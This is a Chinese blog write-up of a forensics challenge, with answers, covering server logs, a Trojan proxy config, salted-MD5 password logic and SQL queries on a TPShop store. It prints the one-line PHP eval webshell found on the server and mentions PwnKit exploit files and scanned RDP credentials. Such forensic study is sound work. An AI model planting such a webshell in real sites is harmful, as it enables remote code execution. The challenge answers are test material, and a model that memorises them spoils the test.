计算机取证——平航杯

该电脑最早的开机时间是什么(格式:2025/1/1 01:01:01)

2022-02-23 12:23:49

直接导入vmdk到火眼然后看开关机日志

服务器操作系统内核版本(格式:1.1.1-123)

3.10.0-1160.119.1.el7.x86_64

依旧火眼直接看

除系统用户外,总共有多少个用户(格式:1)

3

除23个系统用户外,3个常规用户

分析起早王的服务器检材,Trojan服务器混淆流量所使用的域名是什么(格式:xxx.xxx)

wyzshop1.com

取证/attachments/Pasted image 20251010183636.png
找到关于trojan(木马)服务器相关信息,找到config文件

{
    "run_type": "you guess",
    "local_addr": "127.0.0.1",
    "local_port": 12345,
    "remote_addr": "wyzshop1.com",#远程访问伪装的域名
    "remote_port": 443,
    "password": [
        "password1"
    ],
    "log_level": 1,
    "ssl": {
        "verify": true,
        "verify_hostname": true,
        "cert": "",
        "cipher": "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA:AES128-SHA:AES256-SHA:DES-CBC3-SHA",
        "cipher_tls13": "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384",
        "sni": "",
        "alpn": [
            "h2",
            "http/1.1"
        ],
        "reuse_session": true,
        "session_ticket": false,
        "curves": ""
    },
    "tcp": {
        "no_delay": true,
        "keep_alive": true,
        "reuse_port": false,
        "fast_open": false,
        "fast_open_qlen": 20
    }
}

分析起早王的服务器检材,Trojan服务运行的模式为:A、foward B、nat C、server D、client

B

配置文件里是you guess,比对一下example文件夹里的文件,发现只有nat和配置文件最像,因为没有一开始指定,所以要去example里面找对应配置example

关于 Trojan服务器配置文件中配置的remote_addr 和 remote_port 的作用,正确的是:A. 代理流量转发到外部互联网服务器B. 将流量转发到本地的 HTTP 服务(如Nginx)C. 用于数据库连接D. 加密流量解密后的目标地址

A

因为一开始就明确了是用一个伪装的域名来转发伪造正常流量,因此config中的remote几个配置就是用来向伪装域名发送流量的

分析网站后台登录密码的加密逻辑,给出密码sbwyz1加密后存在数据库中的值(格式:1a2b3c4d)

f8537858eb0eabada34e7021d19974ea

好吧这题怎么搞找了好久(又是连虚拟机又是连finalshell),首先因为问的是网站,所以找主目录下的/www/wwwroot/,然后发现有一个www.tpshop.com,那么猜测大概率就是这个网站后台,所以访问/www/wwwroot/www.tpshop.com/,
后面其实找目录所在看别人Wp不知道为什么,但是可以根据要找的东西问AI一点一点摸出来,比如存放加密逻辑的文件一般在/www/wwwroot/www.tpshop.com/application下,于是访问,ls找到一些文件夹和php,没有AI说的common文件夹,于是看了一下common.php也没有,其次看了看function.php找到了加密逻辑

[root@localhost application]# cat function.php | grep "function encrypt"
function encrypt($str){

于是确定就在function.php中,打开文件找到核心代码

function encrypt($str){
 return md5(C("AUTH_CODE").$str); }

该加密方式是 “固定盐值 + MD5 哈希”,使用 PHP 内置的 md5() 函数,对拼接后的字符串进行哈希处理,最终生成 32 位小写字母 + 数字的哈希值盐值(Salt):AUTH_CODE
关于盐值:

[root@localhost application]# grep -rni "AUTH_CODE" ./
./config.php:252:    'AUTH_CODE' => "TPSHOP", //安装完毕之后不要改变,否则所有密码都会出错
./function.php:32:      return md5(C("AUTH_CODE").$str);

因此已知盐值为TPSHOP,方式为md5盐值加密(盐+文本)

取证/attachments/Pasted image 20251010205650.png
(真麻烦啊)

网站后台显示的服务器GD版本是多少(格式:1.1.1 abc)

2.1.0 compatible

[root@localhost application]# php -i | grep -A 10 "gd" | grep "GD Version"
GD Version => bundled (2.1.0 compatible)

关于GD库,它是 PHP 生态中非常重要的一个 图像处理扩展库,核心作用是让 PHP 代码具备处理图像的能力,是网站实现图片相关功能的基础组件之一。

因此直接使用php相关指令查看GD库

  • php -i:输出 PHP 的详细配置信息(相当于命令行版的 phpinfo())。
  • grep -A 10 "gd":查找包含 gd 的行,并显示后续 10 行(确保覆盖 GD 相关信息)。
  • grep "GD Version":从结果中精准提取版本号。

网站后台中2016-04-01 00:00:00到2025-04-01 00:00:00订单列表有多少条记录(格式:1)

1292

取证/attachments/Pasted image 20251010210848.png
在该目录下找到sql文件
用navicat导入
取证/attachments/Pasted image 20251013091506.png
有数据库了
但是由于这个数据库的表太多了,名称也多不好直接查询,当然把表的名称导入AI帮助分析也行,
取证/attachments/Pasted image 20251013104729.png直接只分析数据库的查询就是:

SELECT count(1) FROM `tp_order` where FROM_UNIXTIME(add_time) >= '2016-04-01 00:00:00' and FROM_UNIXTIME(add_time) < '2025-04-01 00:00:00'  

取证/attachments/Pasted image 20251013104809.png
如图
当然由于本来是来学服务器取证的那就直接重构一下网站,直接本地访问,get了一些新知识:

关于Windows的hosts配置:
因为在访问web服务时,有些直接用IP,但是有些为了方便记忆就会有一个域名,在互联网上就需要域名解析也就是DNS,在Windows本机本地访问也有一个类似于DNS的东西也就是hosts配置,下面就是原本的hosts:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost

实际上在windows浏览器上访问域名:localhost就会解析为127.0.0.1也就是本地IP,那么如果想要本地访问某个域名但是web端没有相应DNS解析,就在hosts中修改,根据本题修改为以下:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#	127.0.0.1       localhost
#	::1             localhost
192.168.76.135 www.tpshop.com

这个192.168.76.135是在虚拟机中用ifconfig得到的
于是就有以下结果:
取证/attachments/Pasted image 20251013105753.png
但是直接点击任何按钮都会爆出SQl错误,应该是由于数据库损坏导致的
用navicat连接主机得到数据库,一看有一个设置的一堆乱码的数据库名称(不知道是不是我取的时候的问题),点进去
取证/attachments/Pasted image 20251013151048.png
因此选择新建数据库并和之前将数据库导入的操作一样导入到这个数据库TPshop2.0
取证/attachments/屏幕截图 2025-10-13 142632.png
导入成功这时候进入就会看到登录界面
取证/attachments/Pasted image 20251013151349.png
要登录进入后台管理但是我们知道md5加盐加密很难逆向于是我们直接换一个我们想要的密码加盐加密导入数据库中再登录,反正权限在我们手上(笑)
难绷的是一开始导入死活进不了我还以为哪里出问题了,结果再捣鼓了一会验证码的php(试图删除)这和登陆密码毫不相干的东西之后又能登录了(计算机笑话再添一则)
登陆成功
取证/attachments/屏幕截图 2025-10-13 150652.png

在网站购物满多少免运费(格式:1)

100000

然后在后台直接系统-设置-商场设置-购物流程
取证/attachments/屏幕截图(https://img2024.cnblogs.com/blog/3561561/202510/3561561-20251013170000508-42241097.png).png.png)

分析网站日志,成功在网站后台上传木马的攻击者IP是多少(格式:1.1.1.1)

222.2.2.2

找到目录/www/wwwlogs/www.tpshop.com.log/
这个log日志文件通常是Nginx 访问日志,会记录访问的流量日志,但是这个文件太大了我们不可能一个一个分析,所以我们要找到木马文件,一般木马都会上传到根目录中使用shell,找到网站的根目录

[root@localhost www.tpshop.com]# ls
404.html     backup     composer.json  favicon.ico  index.html  install      l.php       nginx.conf2  nginx.htaccess  phpinfo.php  plugins  README.md   router.php  template  thinkphp
application  build.php  extend         hgzb.ttf     index.php   LICENSE.txt  nginx.conf  nginx.conf3  peiqi.php       phpMyAdmin   public   robots.txt  runtime     think     vendor

发现可疑php文件l.php、peiqi.php,看一下
发现l.php很正常(这个我之前不知道),

[root@localhost www.tpshop.com]# cat peiqi.php 
<?php @eval($_POST['peiqi'])?>

欸,最普遍的webshell,接下来找相关信息
命令:grep -i "peiqi.php" /www/wwwlogs/www.tpshop.com.log
取证/attachments/Pasted image 20251013161352.png

攻击者插入的一句话木马文件的sha256值是多少(格式:大写sha256)

870bf66b4314a5567bd92142353189643b07963201076c5fc98150ef34cbc7cf

这个简单,直接算
sha256sum /www/wwwroot/www.tpshop.com/peiqi.php

攻击者使用工具对内网进行扫描后,rdp扫描结果中的账号密码是什么(格式:abc:def)填空题

administrator:Aa123456@

[root@localhost application]# ls
admin  command.php  common  common.php  config.php  conf.yml  database.php  FastPwds.txt  function.php  goon2_lin  goon2_lin.zip  home  mobile  PwnKit-Exploit-main  PwnKit-Exploit-main.zip  result.txt  route.php  tags.php

看到ls有pwn,一眼顶针鉴定为攻击工具
还有一个扫描工具goon2_lin,其结果保存在result.txt中,
查看result的记结果就是administrator:Aa123456@

对于每个用户,计算其注册时间(用户表中的注册时间戳)到首次下单时间(订单表中最早时间戳)的间隔,找出间隔最短的用户id。(格式:1)

385

一个考察SQL查询的

SELECT 用户ID, 
IF (注册时间 IS NULL, 9999999,最早下单时间-注册时间) 间隔 
FROM ( SELECT tpo.user_id 用户ID, min( tpo.add_time ) 最早下单时间, tpu.reg_time 注册时间 
FROM tp_order tpo LEFT JOIN tp_users tpu ON tpu.user_id = tpo.user_id 
GROUP BY tpo.user_id ) a 
ORDER BY 间隔 LIMIT 1  

取证/attachments/Pasted image 20251013165325.png

统计每月订单数量,找出订单最多的月份(XXXX年XX月)

2016年12月

同样SQL查询

SELECT LEFT
	( FROM_UNIXTIME( add_time ), 7 ) AS 月份,
	count( order_id ) 订单数量 
FROM
	tp_order 
GROUP BY
	月份 
ORDER BY
	订单数量 DESC 
	LIMIT 1

取证/attachments/Pasted image 20251013165430.png

找出连续三天内下单的用户并统计总共有多少个(格式:1)

1

同上

SELECT DISTINCT user_id
FROM (
    SELECT 
        user_id,
        date1,
        @rank := IF(@user = user_id AND DATEDIFF(date1, @prev_date) = 1, 
                   @rank + 1, 
                   IF(@user := user_id, 1, 1)) AS rank,
        @prev_date := date1
    FROM (
        SELECT DISTINCT user_id, date1
        FROM (select user_id,left(FROM_UNIXTIME(add_time),10) date1 from tp_order group by user_id,date1 order by user_id) a
        ORDER BY user_id, date1
    ) t,
    (SELECT @user := 0, @prev_date := '1900-01-01', @rank := 0) r
) ranked
WHERE rank >= 3;

取证/attachments/Pasted image 20251013165605.png

总结

这是第一次正式开始学习计算机取证,确实比较难,提现在即使我是对着别人的WP复现,却还是卡在了许多技术难关上,更别说正式比赛还要去在那么多文件里面去找信息搜集,像是什么木马文件啊,日志文件啊,重构服务器啊,都比较困难,之后也会继续去学习服务器取证

posted @ 2025-10-13 17:00  w0e6x  阅读(7)  评论(0)    收藏  举报